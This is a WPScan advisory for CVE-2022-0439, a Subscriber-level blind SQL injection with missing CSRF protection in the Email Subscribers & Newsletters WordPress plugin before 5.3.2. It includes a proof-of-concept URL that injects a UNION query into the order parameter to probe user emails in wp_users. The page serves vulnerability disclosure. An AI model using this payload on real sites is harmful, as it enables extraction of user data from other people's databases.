WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Email Subscribers & Newsletters < 5.3.2 - Subscriber+ Blind SQL injection

Description

The plugin does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.

Proof of Concept

http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,%20(select%201%20from%20wp_users%20where%20user_email%20like%200x6725%20union%20select%202)%20--%20g

This will return an error result if there is an e-mail starting with g in the database. 

Affects Plugins

email-subscribers
Fixed in version 5.3.2

References

CVE
CVE-2022-0439

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
729d3e67-d081-4a4e-ac1e-f6b0a184f095

Timeline

Publicly Published

2022-02-11 (about 11 months ago)

Added

2022-02-11 (about 11 months ago)

Last Updated

2022-11-17 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us